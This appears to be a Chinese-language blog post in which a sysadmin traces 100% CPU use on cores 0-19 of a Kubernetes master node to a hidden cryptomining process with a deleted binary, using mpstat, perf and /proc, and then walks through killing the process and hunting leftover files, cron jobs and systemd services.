
我们的一台服务器,一共有 40 核。
但是 htop 显示 0-19 核长期利用率 100%,但是又找不到高利用率进程。

- 经过一番折腾,最终定位是一个挖矿病毒!
- 本文介绍了排查和清理过程,希望可以给大家借鉴学习
- 本人是第一次接触这种问题,有不对的地方也欢迎指正
- 文章较长,结尾有一个整体的排查流程图,既是总结也是概览
一、排查过程
1. 基本信息收集
# 1. 查看系统负载和运行时间
uptime
# 输出: 06:31:02 up 1 day, 5:06, 1 users, load average: 0.97, 0.97, 0.99
# 2. 查看当前系统中的进程数和线程数
ps -eLf | wc -l
# 输出: 1330
# 3. 查看占用CPU最高的进程(前20个)
ps aux --sort=-%cpu | head -21
进程整理如下(后面省略)
| USER | PID | %CPU | %MEM | COMMAND(进程用途) |
|---|---|---|---|---|
| root | 2807 | 4.7 | 0.2 | kube-apiserver(K8s 核心组件,API 服务) |
| root | 2428 | 4.1 | 0.0 | kubelet(K8s 节点代理,管理容器生命周期) |
| root | 2810 | 2.8 | 0.0 | kube-controller-manager(K8s 控制器管理器) |
| root | 2869 | 2.2 | 0.0 | etcd(K8s 后端数据库,存储集群配置) |
| root | 1452 | 2.0 | 0.0 | containerd(容器运行时,管理容器) |
| _apt | 6959 | 1.5 | 0.0 | consul agent(服务发现与配置中心) |
| root | 5362 | 1.3 | 0.0 | calico-node(K8s 网络插件,提供网络通信) |
从输出可以看到:
- 系统负载正常:load average 约为 1.0,对于 40 核机器来说很低
- CPU 使用率分散:最高的进程(kube-apiserver)只有 4.7%,没有明显的"CPU 杀手"
- 这是 K8s Master 节点:运行着 kube-apiserver、kubelet、etcd 等核心组件
- 总线程数:1330 个线程
补充知识:PS 显示的
%CPU的含义
%CPU的数值是指占用 1 个核心的百分比,例如服务器有 40 核,那么 10% 指的不是占用了 4 核,而是占用了 0.1 个核;换言之,如果某个进程占用 2 核那么其%CPU=200%
补充知识:
ps与内核态程序的关系
ps只能查看用户态进程以及内核线程,而无法查看“内核态程序逻辑”,具体见下表
| 目标 | ps 是否可见 | 推荐工具 |
|---|---|---|
| 用户态进程 | 能 | ps aux、ps -ef |
| 内核线程(标识) | 能(以 [] 标注) | ps aux、htop |
| 内核态程序逻辑 | 不能 | systemtap、kgdb、dmesg |
补充知识:负载 (load) vs CPU 利用率
负载衡量了操作系统在排队任务数量的多少,而 CPU 利用衡量了当前 CPU 的使用情况
关键问题:htop 显示 0-19 核 100% 占用,但 ps 没看到对应的高 CPU 进程,这很可能是:
- 短时进程/线程(瞬间出现又消失),工具采样率不足
- 内核态任务
- k8s CPU 亲和性绑定问题
补充:为何会怀疑 CPU 亲和性绑定问题
系统 ps 明显有 k8s 使用,并且如果 k8s 有成熟的 CPU 绑定机制,如果有很多的 k8s 调度的容器,很可能出现部分 CPU 利用率非常高的现象
进一步查看各个 CPU 的实际运行状况,结果如下
mpstat -P ALL 1 3
# 输出结果
# Linux 5.15.0-153-generic (protocol-k8s-master) 10/10/2025 _x86_64_ (40 CPU)
# 06:35:46 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle
# 06:35:47 AM all 50.91 0.00 0.30 0.03 0.00 0.03 0.00 0.00 0.00 48.74
# 06:35:47 AM 0 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
# 06:35:47 AM 1 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
# 06:35:47 AM 2 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
# 06:35:47 AM 3 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
# 06:35:47 AM 4 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
# 06:35:47 AM 5 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
# 06:35:47 AM 6 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
# 06:35:47 AM 7 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
# 06:35:47 AM 8 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
# 06:35:47 AM 9 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
# 06:35:47 AM 10 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
# 06:35:47 AM 11 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
# 06:35:47 AM 12 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
# 06:35:47 AM 13 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
# 06:35:47 AM 14 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
# 06:35:47 AM 15 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
# 06:35:47 AM 16 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
# 06:35:47 AM 17 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
# 06:35:47 AM 18 100.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
# 06:35:47 AM 19 99.01 0.00 0.99 0.00 0.00 0.00 0.00 0.00 0.00 0.00
# 06:35:47 AM 20 1.03 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 98.97
# 06:35:47 AM 21 0.00 0.00 0.00 1.01 0.00 0.00 0.00 0.00 0.00 98.99
# 06:35:47 AM 22 2.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 98.00
# 06:35:47 AM 23 3.96 0.00 0.99 0.00 0.00 0.00 0.00 0.00 0.00 95.05
# 06:35:47 AM 24 1.01 0.00 1.01 0.00 0.00 0.00 0.00 0.00 0.00 97.98
# 06:35:47 AM 25 0.00 0.00 1.01 0.00 0.00 0.00 0.00 0.00 0.00 98.99
# 06:35:47 AM 26 2.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 97.00
# 06:35:47 AM 27 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 99.00
# 06:35:47 AM 28 2.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 97.00
# 06:35:47 AM 29 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00
# 06:35:47 AM 30 1.98 0.00 0.99 0.00 0.00 0.00 0.00 0.00 0.00 97.03
# 06:35:47 AM 31 1.01 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 98.99
# 06:35:47 AM 32 4.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 96.00
# 06:35:47 AM 33 1.98 0.00 0.99 0.00 0.00 0.00 0.00 0.00 0.00 97.03
# 06:35:47 AM 34 3.03 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 96.97
# 06:35:47 AM 35 2.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 97.00
# 06:35:47 AM 36 2.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 97.00
# 06:35:47 AM 37 1.98 0.00 0.99 0.00 0.00 0.00 0.00 0.00 0.00 97.03
# 06:35:47 AM 38 1.98 0.00 0.99 0.00 0.00 0.99 0.00 0.00 0.00 96.04
# 06:35:47 AM 39 2.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 98.00
可以观察到 0-19 核的 %usr(用户态程序利用率)占用确实为 100%,而其他列均为 0,这排除了内核态程序运行的可能,说明有某个用户态程序在进行计算密集型任务。
再查看 k8s 本身的亲和性绑定的可能
taskset -cp 2807 # kube-apiserver
# 输出: pid 2807's current affinity list: 0-39
taskset -cp 2428 # kubelet
# 输出: taskset: failed to set pid 2428's affinity: No such process
我们发现 k8s 本身并未进行亲和性绑定,并且原有的 kubelet 进程消失了。
2. 潜在的用户态程序排查
首先使用如下脚本查看 0-19 核,cpu 利用率超过 1% 的进程(前 100)
for cpu in {0..19}; do
echo "=== CPU $cpu ==="
ps -eLo pid,tid,psr,pcpu,comm | awk -v cpu=$cpu '$3 == cpu && $4 > 1.0 {print}'
done | head -100
# 输出:无任何进程!
这说明 PS 找不到 0-19 核上运行的任何 CPU 利用率超过 1% 的进程!很奇怪。
再尝试查看容器内的潜在的用户态程序:
crictl ps | head -20
补充知识:
crictl是专门为 CRI 兼容容器运行时设计的工具。ps是crictl的子命令,作用是列出当前正在运行的容器,输出信息包括容器 ID、镜像、创建时间、状态等。
结果整理如下(看起来也没什特别的)
| CONTAINER | IMAGE | CREATED | STATE | NAME | ATTEMPT | POD ID | POD |
|---|---|---|---|---|---|---|---|
| … | … | 29 hours ago | Running | kube-multus | 1 | … | … |
| … | … | 29 hours ago | Running | coredns | 1 | … | … |
| … | … | 29 hours ago | Running | coredns | 1 | … | … |
| … | … | 29 hours ago | Running | calico-kube-controllers | 1 | … | … |
| … | … | 29 hours ago | Running | calico-node | 1 | … | … |
| … | … | 29 hours ago | Running | kube-proxy | 1 | … | … |
| … | … | 29 hours ago | Running | etcd | 2 | … | … |
| … | … | 29 hours ago | Running | kube-apiserver | 2 | … | … |
| … | … | 29 hours ago | Running | kube-controller-manager | 2 | … | … |
| … | … | 29 hours ago | Running | kube-scheduler | 2 | … | … |
3. 继续深入查看 k8s
# 1. 查看所有 Pod 的 CPU 请求和限制
kubectl get pods -A -o custom-columns=NAMESPACE:.metadata.namespace,NAME:.metadata.name,CPU-REQ:.spec.containers[*].resources.requests.cpu,CPU-LIM:.spec.containers[*].resources.limits.cpu
# 2. 检查 kubelet 日志,看 CPU Manager 的分配情况
journalctl -u kubelet -n 200 --no-pager | grep -i "cpu"
# 3. 查看 kubelet 的具体配置
cat /var/lib/kubelet/config.yaml | grep -A 5 -B 5 cpu
输出结果分别整理如下
所有 Pod 的 CPU 请求和限制:无任何特殊配置!
| NAMESPACE | NAME | CPU-REQ(CPU 请求) | CPU-LIM(CPU 限制) |
|---|---|---|---|
| kube-system | calico-kube-controllers-949d58b75-mh2fm | (无配置) | (无配置) |
| kube-system | calico-node-bkz99 | 250m(0.25 核) | (无配置) |
| kube-system | coredns-787d4945fb-vlrxx | 100m(0.1 核) | (无配置) |
| kube-system | coredns-787d4945fb-vnsvz | 100m(0.1 核) | (无配置) |
| kube-system | etcd-protocol-k8s-master | 100m(0.1 核) | (无配置) |
| kube-system | kube-apiserver-protocol-k8s-master | 250m(0.25 核) | (无配置) |
| kube-system | kube-controller-manager-protocol-k8s-master | 200m(0.2 核) | (无配置) |
| kube-system | kube-multus-ds-vk475 | 100m(0.1 核) | 100m(0.1 核) |
| kube-system | kube-proxy-55f5k | (无配置) | (无配置) |
| kube-system | kube-scheduler-protocol-k8s-master | 100m(0.1 核) | (无配置) |
kubelet 日志中所有包含 CPU 关键字的日志:cpuSet 无亲和性绑定!
Oct 10 06:33:47 protocol-k8s-master kubelet[2891814]: I1010 06:33:47.770310 2891814 cpu_manager.go:214] "Starting CPU manager" policy="static"
Oct 10 06:33:47 protocol-k8s-master kubelet[2891814]: I1010 06:33:47.770337 2891814 cpu_manager.go:215] "Reconciling" reconcilePeriod="10s"
Oct 10 06:33:47 protocol-k8s-master kubelet[2891814]: I1010 06:33:47.770608 2891814 state_mem.go:88] "Updated default CPUSet" cpuSet="0-39"
Oct 10 06:33:47 protocol-k8s-master kubelet[2891814]: I1010 06:33:47.770628 2891814 state_mem.go:96] "Updated CPUSet assignments" assignments=map[]
Oct 10 06:33:57 protocol-k8s-master kubelet[2891814]: I1010 06:33:57.794399 2891814 state_mem.go:80] "Updated desired CPUSet" podUID="d5205df7-4655-49c5-9175-3440eb48c862" containerName="calico-kube-controllers" cpuSet="0-39"
Oct 10 06:33:57 protocol-k8s-master kubelet[2891814]: I1010 06:33:57.827116 2891814 state_mem.go:80] "Updated desired CPUSet" podUID="2724168d-a363-4ca2-88b2-eb24566ce9cd" containerName="kube-multus" cpuSet="0-39"
Oct 10 06:33:57 protocol-k8s-master kubelet[2891814]: I1010 06:33:57.855813 2891814 state_mem.go:80] "Updated desired CPUSet" podUID="794bfaaa6a6f525746054576c9f6ed74" containerName="etcd" cpuSet="0-39"
Oct 10 06:33:57 protocol-k8s-master kubelet[2891814]: I1010 06:33:57.879946 2891814 state_mem.go:80] "Updated desired CPUSet" podUID="ccae44c27a1442cd273c95445f5aa42e" containerName="kube-apiserver" cpuSet="0-39"
Oct 10 06:33:57 protocol-k8s-master kubelet[2891814]: I1010 06:33:57.903450 2891814 state_mem.go:80] "Updated desired CPUSet" podUID="1c76e692cbd9f2e584af03957dea004e" containerName="kube-controller-manager" cpuSet="0-39"
Oct 10 06:33:57 protocol-k8s-master kubelet[2891814]: I1010 06:33:57.923843 2891814 state_mem.go:80] "Updated desired CPUSet" podUID="20ace3a6-ecbc-49ac-9ded-dfe894cd0b6a" containerName="coredns" cpuSet="0-39"
Oct 10 06:33:57 protocol-k8s-master kubelet[2891814]: I1010 06:33:57.953732 2891814 state_mem.go:80] "Updated desired CPUSet" podUID="3b27f8c0-9bd4-4bc5-9ed5-90cf870d8425" containerName="kube-proxy" cpuSet="0-39"
Oct 10 06:33:57 protocol-k8s-master kubelet[2891814]: I1010 06:33:57.976891 2891814 state_mem.go:80] "Updated desired CPUSet" podUID="f8edd1c83c18704765671d2f10e7c327" containerName="kube-scheduler" cpuSet="0-39"
Oct 10 06:33:57 protocol-k8s-master kubelet[2891814]: I1010 06:33:57.998093 2891814 state_mem.go:80] "Updated desired CPUSet" podUID="1a571b5f-b556-4040-b862-a2ab7401bb43" containerName="coredns" cpuSet="0-39"
Oct 10 06:33:58 protocol-k8s-master kubelet[2891814]: I1010 06:33:58.027048 2891814 state_mem.go:80] "Updated desired CPUSet" podUID="580f75b2-799f-4ceb-b679-4b37126b7266" containerName="calico-node" cpuSet="0-39"
kubelet 配置中 cpu 相关的配置:无任何异常!
cacheUnauthorizedTTL: 0s
cgroupDriver: systemd
clusterDNS:
- 192.168.0.10
clusterDomain: cluster.local
cpuManagerReconcilePeriod: 0s
evictionPressureTransitionPeriod: 0s
fileCheckFrequency: 0s
healthzBindAddress: 127.0.0.1
healthzPort: 10248
httpCheckFrequency: 0s
总结:从日志可以看到:
- ✅ 所有 Pod 的 CPU 都分配到
cpuSet="0-39"(共享池) - ✅ 没有任何 Pod 请求独占 CPU(都是小数或无请求,如 100m、250m)
- ✅ CPU Manager 的 assignments 是空的:
assignments=map[]
但问题依然存在:CPU 0-19 被 100% 占用,却找不到占用的进程!
这是一个非常诡异的情况:这是一个典型的"隐藏进程"或"内核线程伪装"问题
4. “隐藏进程” 排查
让我们再更加底层的查看一下 CPU0 的运行状态
# 查看 /proc/stat 的实时变化
for i in {1..3}; do
echo "=== Sample $i ==="
grep "^cpu0 " /proc/stat
sleep 1
done
# 输出
# === Sample 1 ===
# cpu0 18829360 0 14792 18826 16 0 103 0 0 0
# === Sample 2 ===
# cpu0 18829461 0 14792 18826 16 0 103 0 0 0
# === Sample 3 ===
# cpu0 18829562 0 14792 18826 16 0 103 0 0 0
我们 1s 采样一次,发现 CPU0 确实在执行用户态代码,每次采样增加 100 jiffies,但是 ps 看不到对应进程。
那我们不是用 ps,而是使用 perf top 看 CPU 0 在执行什么:
perf top -C 0 -n --stdio | head -50
输出如下
PerfTop: 3934 irqs/sec kernel: 0.1% exact: 100.0% lost: 0/0 drop: 0/0 [4000Hz cycles], (all, CPU: 0)
-------------------------------------------------------------------------------
5.81% 837 [unknown] [.] 0x00007f264c6a6f49
3.60% 518 [unknown] [.] 0x00007f264c6a6f71
0.37% 53 [unknown] [.] 0x00007f264c6a6f58
0.36% 52 [unknown] [.] 0x0000000000752a13
0.34% 48 [unknown] [.] 0x0000000000752a84
0.34% 48 [unknown] [.] 0x0000000000752a2b
0.33% 47 [unknown] [.] 0x0000000000752a5f
0.33% 47 [unknown] [.] 0x00007f264c6a6f9d
0.32% 46 [unknown] [.] 0x0000000000752a53
0.32% 46 [unknown] [.] 0x0000000000752a1f
0.31% 45 [unknown] [.] 0x00007f264c6a6f84
0.31% 45 [unknown] [.] 0x00007f264c6a6f98
0.30% 44 [unknown] [.] 0x0000000000752a6b
0.27% 38 [unknown] [.] 0x0000000000752a7d
0.26% 36 [unknown] [.] 0x00000000007529fe
0.25% 35 [unknown] [.] 0x0000000000752a3f
0.22% 31 [unknown] [.] 0x00000000007529fa
0.21% 29 [unknown] [.] 0x0000000000752a04
perf top 仍然显示 [unknown] 符号在 CPU 0 上执行,这进一步说明有一个"隐藏进程"或者"进程没有被正确统计"。
最关键的追踪:找出地址对应的进程
使用 perf record 来对 CPU0 的执行进行记录(3s)
perf record -C 0 -g sleep 3
# `-g`:记录函数调用栈(方便后续分析调用关系)
# 执行后会生成 perf.data 数据,用于后续分析
使用 perf report 命令来分析 perf.data 数据(perf record 生成)
perf report --stdio -i perf.data 2>/dev/null | head -100
输出如下:
# To display the perf.data header info, please use --header/--header-only options.
#
#
# Total Lost Samples: 0
#
# Samples: 12K of event 'cycles'
# Event count (approx.): 8422143942
#
# Children Self Command Shared Object Symbol
# ........ ........ ............... ................. .....................................
#
6.23% 0.16% :4529 [unknown] [.] 0x00007f264c6a6f4c
|
--6.07%--0x7f264c6a6f4c
6.06% 6.06% :4529 [unknown] [.] 0x00007f264c6a6f49
|
---0x7f264c6a6f4c
3.72% 3.58% :4529 [unknown] [.] 0x00007f264c6a6f71
|
--3.58%--0x7f264c6a6f75
3.71% 0.13% :4529 [unknown] [.] 0x00007f264c6a6f75
|
--3.59%--0x7f264c6a6f75
0.68% 0.31% :4529 [unknown] [.] 0x00007f264c6a6f9d
0.60% 0.22% :4529 [unknown] [.] 0x00007f264c6a6f5c
0.59% 0.39% :4529 [unknown] [.] 0x00007f264c6a6f84
0.58% 0.29% :4529 [unknown] [.] 0x0000000000752a04
0.56% 0.37% :4529 [unknown] [.] 0x00007f264c6a6f98
0.54% 0.29% :4529 [unknown] [.] 0x00000000007529fe
0.45% 0.06% :4529 [unknown] [.] 0x00007f264c6a6f89
0.42% 0.12% :4529 [unknown] [.] 0x00007f264c6a6fa2
0.40% 0.38% :4529 [unknown] [.] 0x00007f264c6a6f58
0.38% 0.17% :4529 [unknown] [.] 0x00007f264c6a6f60
0.38% 0.03% :4529 [unknown] [.] 0x0000000000752a25
0.37% 0.36% :4529 [unknown] [.] 0x0000000000752a1f
0.35% 0.32% :4529 [unknown] [.] 0x0000000000752a2b
0.35% 0.02% :4529 [unknown] [.] 0x0000000000752a31
0.34% 0.02% :4529 [unknown] [.] 0x0000000000752a19
0.34% 0.19% :4529 [unknown] [.] 0x00007f264c6a6fac
0.34% 0.32% :4529 [unknown] [.] 0x0000000000752a6b
0.33% 0.33% :4529 [unknown] [.] 0x0000000000752a13
0.32% 0.00% :4529 [unknown] [.] 0x0000000000752a71
0.32% 0.32% :4529 [unknown] [.] 0x0000000000752a84
0.32% 0.00% :4529 [unknown] [.] 0x00000000007529f0
0.31% 0.03% :4529 [unknown] [.] 0x0000000000752a45
0.31% 0.03% :4529 [unknown] [.] 0x0000000000752a59
0.31% 0.18% :4529 [unknown] [.] 0x00007f264c6a6f93
0.31% 0.15% :4529 [unknown] [.] 0x00007f264c6a6f50
0.30% 0.28% :4529 [unknown] [.] 0x0000000000752a3f
0.29% 0.00% :4529 [unknown] [.] 0x0000000000752a09
0.28% 0.27% :4529 [unknown] [.] 0x0000000000752a53
0.27% 0.00% :4529 [unknown] [.] 0x00007f264c6a6f40
0.27% 0.12% :4529 [unknown] [.] 0x00007f264c6a6fc0
0.27% 0.15% :4529 [unknown] [.] 0x00007f264c6a6fa7
0.26% 0.24% :4529 [unknown] [.] 0x0000000000752a7d
0.25% 0.08% :4529 [unknown] [.] 0x00007f264c6a6f64
0.25% 0.20% :4529 [unknown] [.] 0x00007f264c6a6f7f
0.24% 0.24% :4529 [unknown] [.] 0x00000000007529fa
0.24% 0.05% :4529 [unknown] [.] 0x00007f264c6a6fb1
0.24% 0.00% :4529 [unknown] [.] 0x0000000000752a81
0.23% 0.14% :4529 [unknown] [.] 0x00007f264c6a6fbb
0.23% 0.08% :4529 [unknown] [.] 0x00007f264c6a78cc
0.22% 0.18% :4529 [unknown] [.] 0x0000000000752a5f
0.20% 0.02% :4529 [unknown] [.] 0x0000000000752a65
0.20% 0.00% :4529 [unknown] [.] 0x00000000007573c6
0.20% 0.09% :4529 [unknown] [.] 0x00007f264c6a78c1
0.20% 0.08% :4529 [unknown] [.] 0x00007f264c6a784d
0.20% 0.07% :4529 [unknown] [.] 0x00007f264c6a78df
0.19% 0.14% :4529 [unknown] [.] 0x00007f264c6a785d
0.18% 0.08% :4529 [unknown] [.] 0x00007f264c6a7886
0.18% 0.09% :4529 [unknown] [.] 0x00007f264c6a786d
0.18% 0.13% :4529 [unknown] [.] 0x00007f264c6a78c6
0.18% 0.05% :4529 [unknown] [.] 0x00007f264c6a7861
0.18% 0.06% :4529 [unknown] [.] 0x00007f264c6a789f
0.18% 0.12% :4529 [unknown] [.] 0x00007f264c6a78c8
0.18% 0.09% :4529 [unknown] [.] 0x00007f264c6a78ec
0.18% 0.12% :4529 [unknown] [.] 0x00007f264c6a6f8e
0.18% 0.09% :4529 [unknown] [.] 0x00007f264c6a785b
0.18% 0.05% :4529 [unknown] [.] 0x00007f264c6a6f7a
0.18% 0.09% :4529 [unknown] [.] 0x00007f264c6a78a7
0.17% 0.07% :4529 [unknown] [.] 0x00007f264c6a7860
0.17% 0.05% :4529 [unknown] [.] 0x00007f264c6a786a
0.17% 0.07% :4529 [unknown] [.] 0x00007f264c6a789c
0.17% 0.08% :4529 [unknown] [.] 0x00007f264c6a7874
0.17% 0.12% :4529 [unknown] [.] 0x00007f264c6a7866
0.17% 0.07% :4529 [unknown] [.] 0x00007f264c6a6fda
0.17% 0.09% :4529 [unknown] [.] 0x00007f264c6a785a
0.17% 0.02% :4529 [unknown] [.] 0x00007f264c6a6f54
0.17% 0.09% :4529 [unknown] [.] 0x00007f264c6a787d
0.17% 0.07% :4529 [unknown] [.] 0x00007f264c6a78c4
0.17% 0.13% :4529 [unknown] [.] 0x00007f264c6a78db
0.17% 0.09% :4529 [unknown] [.] 0x00007f264c6a788b
0.16% 0.07% :4529 [unknown] [.] 0x00007f264c6a7876
0.16% 0.10% :4529 [unknown] [.] 0x00007f264c6a78bd
0.16% 0.08% :4529 [unknown] [.] 0x00007f264c6a78aa
0.16% 0.07% :4529 [unknown] [.] 0x00007f264c6a78a2
可以观察 Command 列,有一个叫 :4529 的进程名
补充知识:
perf无法识别进程 4529 的完整命令名,只能用 “冒号 + PID” 的格式替代放在 Command 列。换言之,4529 就是其 PID。
查看进程 4529 相关信息
# 查看进程 4529 的完整启动命令
cat /proc/4529/cmdline | tr '\0' ' '; echo
# 输出:/bb3d4885
# 查看进程 4529 对应的可执行文件路径及状态
ls -l /proc/4529/exe
# 输出:lrwxrwxrwx 1 root root 0 Oct 12 07:01 /proc/4529/exe -> '/bb3d4885 (deleted)'
# 查看进程 4529 的核心状态信息
cat /proc/4529/status | head -20
# 输出:
# Name: bb3d4885
# Umask: 0022
# State: R (running)
# Tgid: 3365
# Ngid: 0
# Pid: 4529
# PPid: 1
# TracerPid: 0
# Uid: 0 0 0 0
# Gid: 0 0 0 0
# FDSize: 64
# Groups:
# NStgid: 3365
# NSpid: 4529
# NSpgid: 3365
# NSsid: 3365
# VmPeak: 17605068 kB
# VmSize: 16524148 kB
# VmLck: 0 kB
# VmPin: 0 kB
# 查看进程的内存映射
cat /proc/4529/maps 2>/dev/null | head -50
# 输出:
# 00400000-00c2e000 r-xp 00000000 fd:00 20 /bb3d4885 (deleted)
# 00e2d000-00e61000 r--p 0082d000 fd:00 20 /bb3d4885 (deleted)
# 00e61000-00e6f000 rw-p 00861000 fd:00 20 /bb3d4885 (deleted)
# 00e6f000-00f0b000 rw-p 00000000 00:00 0
# 1be59000-1bf06000 rw-p 00000000 00:00 0 [heap]
# 1bf06000-1c3b0000 rw-p 00000000 00:00 0 [heap]
# 7f2230000000-7f2230021000 rw-p 00000000 00:00 0
# 7f2230021000-7f2234000000 ---p 00000000 00:00 0
# 7f2238000000-7f2238021000 rw-p 00000000 00:00 0
# 7f2238021000-7f223c000000 ---p 00000000 00:00 0
# 7f223c789000-7f223c78a000 ---p 00000000 00:00 0
# 7f223c78a000-7f223cf8a000 rw-p 00000000 00:00 0
# 7f223cf8a000-7f223cf8b000 ---p 00000000 00:00 0
# 7f223cf8b000-7f223d78b000 rw-p 00000000 00:00 0
# 7f223d78b000-7f223d78c000 ---p 00000000 00:00 0
# 7f223d78c000-7f223df8c000 rw-p 00000000 00:00 0
# 7f223df8c000-7f223df8d000 ---p 00000000 00:00 0
# 7f223df8d000-7f223e78d000 rw-p 00000000 00:00 0
# 7f2278000000-7f2278021000 rw-p 00000000 00:00 0
# 7f2278021000-7f227c000000 ---p 00000000 00:00 0
# 7f2280000000-7f2280021000 rw-p 00000000 00:00 0
# 7f2280021000-7f2284000000 ---p 00000000 00:00 0
# 7f2284000000-7f2284021000 rw-p 00000000 00:00 0
# 7f2284021000-7f2288000000 ---p 00000000 00:00 0
# 7f2288000000-7f2288021000 rw-p 00000000 00:00 0
# 7f2288021000-7f228c000000 ---p 00000000 00:00 0
# 7f228c000000-7f228c021000 rw-p 00000000 00:00 0
# 7f228c021000-7f2290000000 ---p 00000000 00:00 0
# 7f22913ff000-7f2291400000 ---p 00000000 00:00 0
# 7f2291400000-7f2291c00000 rw-p 00000000 00:00 0
# 7f2291c00000-7f2291e00000 rw-p 00000000 00:10 120906 /anon_hugepage (deleted)
# 7f2291fff000-7f2292000000 ---p 00000000 00:00 0
# 7f2292000000-7f2292800000 rw-p 00000000 00:00 0
# 7f2292800000-7f2292a00000 rw-p 00000000 00:10 57449 /anon_hugepage (deleted)
# 7f2292bff000-7f2292c00000 ---p 00000000 00:00 0
# 7f2292c00000-7f2293400000 rw-p 00000000 00:00 0
# 7f2293400000-7f2293600000 rw-p 00000000 00:10 56465 /anon_hugepage (deleted)
# 7f22937ff000-7f2293800000 ---p 00000000 00:00 0
# 7f2293800000-7f2294000000 rw-p 00000000 00:00 0
# 7f2294000000-7f2294021000 rw-p 00000000 00:00 0
# 7f2294021000-7f2298000000 ---p 00000000 00:00 0
# 7f2298000000-7f2298021000 rw-p 00000000 00:00 0
# 7f2298021000-7f229c000000 ---p 00000000 00:00 0
# 7f229c000000-7f229c021000 rw-p 00000000 00:00 0
# 7f229c021000-7f22a0000000 ---p 00000000 00:00 0
# 7f22a0000000-7f22a0021000 rw-p 00000000 00:00 0
# 7f22a0021000-7f22a4000000 ---p 00000000 00:00 0
# 7f22a4000000-7f22a4021000 rw-p 00000000 00:00 0
# 7f22a4021000-7f22a8000000 ---p 00000000 00:00 0
# 7f22a8000000-7f22a8200000 rw-p 00000000 00:10 77981 /anon_hugepage (deleted)
补充知识:
/proc/[PID]/maps是内核为每个进程维护的 内存区域映射表,记录了进程占用的每一块内存的用途、权限、来源文件等信息
这是一个典型的挖矿木马或恶意程序!
关键证据:
- ✅ 进程名:
bb3d4885(随机字符串) - ✅ 可执行文件已被删除:
/bb3d4885 (deleted) - ✅ 大量匿名大页内存:
/anon_hugepage (deleted) - ✅ 进程状态:
R (running)持续运行 - ✅ 父进程是 PID 1(PPid: 1,即 init/systemd),说明它伪装成系统服务
- ✅ 占用大量内存:16 GB(
VmSize: 16524148 kB)
5. 关于 unhide
我在这个内容中找到 unhide 可以方便的看到隐藏进程,但是实际执行会输出一些无关的系统进程,我觉得可写一个脚本处理 unhide 的输出,快速定位问题程序进程。
(但我没有使用这个工具)
二、查杀与清理(问题 PID=4529)
1. 初步处理:杀死进程并删除可执行文件
cat /proc/4529/task/*/environ
输出中可以找到可执行文件路径 /usr/bin/tmuxinfo89bd15e28a96c6f5
kill -9 4529
杀死进程后发现 CPU 恢复正常,然后首先删掉可执行文件
rm /usr/bin/tmuxinfo*
2. 寻找并删除可疑文件
- 如果内容较多可以把结果交给 AI 进行筛查(提示词:下面有哪些文件是异常的吗,我在查找木马或者挖矿程序)
- 如果发现异常文件,人工确认后删除
# 排查临时目录中的可疑执行程序
find /tmp -type f -executable 2>/dev/null | head -20
# 检查是否有进程通过共享内存隐藏数据或恶意程序
find /dev/shm -type f 2>/dev/null
# 排查近 7 天内临时目录新增 / 修改的文件
find /tmp /var/tmp /dev/shm -type f -mtime -7 2>/dev/null
# 排查 /root 目录近 30 天内新增的隐藏文件
find /root -type f -name ".*" -mtime -30 2>/dev/null | head -20
# 查找乱码可执行文件
find /usr/bin /usr/sbin /usr/local/bin -type f -name "*[a-zA-Z0-9]{8}*" 2>/dev/null
# 查找所有 tmuxinfo 有关文件
find / -name "*tmuxinfo*" 2>/dev/null
3. 寻找并清理可疑定时任务
- 如果内容较多可以把结果交给 AI 进行筛查(提示词:下面有哪些任务或者服务是异常的吗,我在查找木马或者挖矿程序)
# 查找 crontab 正在执行定时任务
crontab -l
# 查看系统中所有定时任务的有效配置(过滤掉注释内容)
grep -v "^#" /etc/cron*/* 2>/dev/null
如果找到,删除对应的定时任务配置文件
4. 寻找并清理可疑 systemd 服务
- 如果内容较多可以把结果交给 AI 进行筛查(提示词:下面有哪些任务或者服务是异常的吗,我在查找木马或者挖矿程序)
# 查找 systemd 维护的定时任务
systemctl list-timers
# 查找 systemd 的开机启动任务
systemctl list-unit-files | grep enabled | grep -v "^#"
# 查找其他可疑的服务配置
ls -la /etc/systemd/system/*.service
# 查找含乱码服务
# systemctl list-unit-files | grep -E "[a-zA-Z0-9]{8,}" | grep -v "^#"
这里找了三个可疑的服务
EDyKCSB8c.serviceK3NanMNav.servicetmuxinfo89bd15e2.service
找到可疑服务后,可以使用 systemctl cat <服务名> 来确认服务的详细信息。
